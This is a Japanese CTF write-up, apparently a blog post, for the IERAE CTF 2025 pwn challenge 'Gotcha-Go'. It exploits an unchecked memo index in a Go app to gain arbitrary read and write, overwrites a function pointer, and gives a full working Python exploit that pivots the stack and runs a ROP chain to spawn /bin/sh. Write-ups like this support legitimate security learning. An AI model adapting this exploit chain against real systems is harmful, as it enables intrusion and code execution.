IERAE CTF 2025にTSGとして参加しました。
pwn: Gotcha-Go (medium, 25 solves) 見出しへのリンク
Go製のメモアプリに対して攻撃を行う問題。メモアプリには特定のIDのメモを作成する(init), 読み込む(info), 書き込む(edit)操作が実装されている。
脆弱性は明らかで、メモのIDに対してなんの制約も掛かっていないので配列外参照が可能になっている。あとは適当なアドレスを書き換えて終わりだと思っていたが、流石にGo製のアプリだけあって、メモリレイアウトやレジスタの使い方がC言語で同様のコードを書いてgccでコンパイルした時とはかなり違うものとなっていた。
checksec
の結果は以下の通り。No PIE, No RELROなのでGOTを書き換えて終わりかと思いきや、C言語と同じようにGOTが存在するわけではないため不可能。
$ checksec --file=./ctf
[*] '/ctf/2025/ierae/gotcha-go/ctf'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
問題をより詳しく見る。info
とedit
を使えば任意のidx
について以下で定義されるようなl
に対し、l.list[idx].data
に対して読み書きが可能である。
type Data interface {
info(int)
init(*MyStr)
edit(int)
}
var l Data = &MyList{}
type MyStr struct {
idx int
data [0x30]byte
}
type MyList struct {
list [16]*MyStr
}
l
はグローバル領域に存在し、毎回固定のアドレスに配置されいること、配列の構造とGhidraでの逆アセンブル結果から、これは要するに任意のidx
に対して*(0x56bfc0 + idx * 8) + 0x8
のアドレスに対して読み書きができることを意味している。
また、メモリ上を観察すると、0x56cde0
のアドレスの指す先の8だけ先の領域には0x56c188
が毎回格納されていることがわかる。これにより、idx = (0x56cde0 - 0x56bfc0) // 8
とすれば、0x56c188
に対して任意の値を書き込むことができる。あとは、0x56c188
に観察したいアドレスから8引いた値を書き込んでから、idx = (0x56c188 - 0x56bfc0) // 8
としてl.list[idx].data
に書き込んだり読み出したりすることで、AAW, AARが可能となる。
あとはAAWでどこに何を書き込むかである。
最初は、0xc000000000
以降の適当なアドレスに配置されているGoのstackを適当にoverwriteしてROPすることを考えたが、stackのアドレスは実行ごとに変わり、かつstackへのポインタが格納されているグローバル変数が見当たらなかったことから断念した。
適当にGhidraとgdbをポチポチしていると、l.edit(idx)
への関数ポインタが固定のアドレス0x5669c0
にあり、それを使って呼び出していることがわかった。AAWもあるので、あとはstack pivotingしてから0xc000000000
以降に広がる広大なrw
可能な領域を使ってROPをすれば良い。
#!/usr/bin/python3
import sys
from ptrlib import *
import time
REMOTE = ("localhost", 33337)
EXEC = "./ctf"
if len(sys.argv) == 1:
sock = Process(EXEC)
IS_REMOTE = False
else:
assert sys.argv[1] == "remote"
host, port = REMOTE
sock = Socket(host, port)
IS_REMOTE = True
elf = ELF(EXEC)
# 0x000000000056bfc0 + idx * 8
input("[;] Waiting...")
base_addr = 0x56bfc0
ptr_to_global = 0x56cde0
global_addr = 0x56c188
def write_addr(target_addr, value):
sock.sendlineafter(":\n", "3")
sock.sendlineafter(":\n", str((ptr_to_global - base_addr) // 8))
sock.sendline(p64(target_addr - 0x8))
sock.sendlineafter(":\n", "3")
sock.sendlineafter(":\n", str((global_addr - base_addr) // 8))
sock.send(value)
forged_stack_addr = 0xc000010000
payload = b"/bin/sh\x00\n"
write_addr(forged_stack_addr, payload)
payload = b""
payload += p64(0xdeadbeef) # dummy
payload += p64(0x473fc6) # pop rdi; ret
payload += p64(forged_stack_addr)
payload += p64(0x43fec1) # pop rbx; ret
payload += p64(forged_stack_addr + 0x200)
payload += p64(0x46008a) # pop rsi; shl edx, 0xf; adc [rbx+8], eax; ret
write_addr(forged_stack_addr + 0x30, payload)
payload = b""
payload += p64(0)
payload += p64(0x499f93) # pop rax; pop rbp; ret
payload += p64(forged_stack_addr + 0x201)
payload += p64(0xdeadbeef)
payload += p64(0x499f20) # pop rdx; sbb [rax-1], cl; ret
payload += p64(0)
write_addr(forged_stack_addr + 0x60, payload)
payload = b""
payload += p64(0x499f93) # pop rax; pop rbp; ret
payload += p64(59)
payload += p64(0xdeadbeef)
payload += p64(0x48bf14) # syscall
write_addr(forged_stack_addr + 0x90, payload)
forged_stack_addr2 = 0xc000018000
payload = b""
payload += b"A" * 0x18
payload += p64(0x0046d860) # mov rsp, rbx; pop rbp; ret
write_addr(forged_stack_addr2, payload)
write_addr(0x5669c0, p64(forged_stack_addr2))
sock.sendlineafter(":\n", "3")
sock.sendlineafter(":\n", forged_stack_addr + 0x30)
sock.interactive()
l.edit(idx)
呼び出し時のidx
がrbx
に格納されることを使って、そこを起点にexecve("/bin/sh", NULL, NULL)
を用意している。静的リンクされているのでガジェットは豊富である。結局AARは使わなかった。
おわりに 見出しへのリンク
解いたのは以上1問だけです。
楽しいCTFありがとうございます。力つけて出直してきます。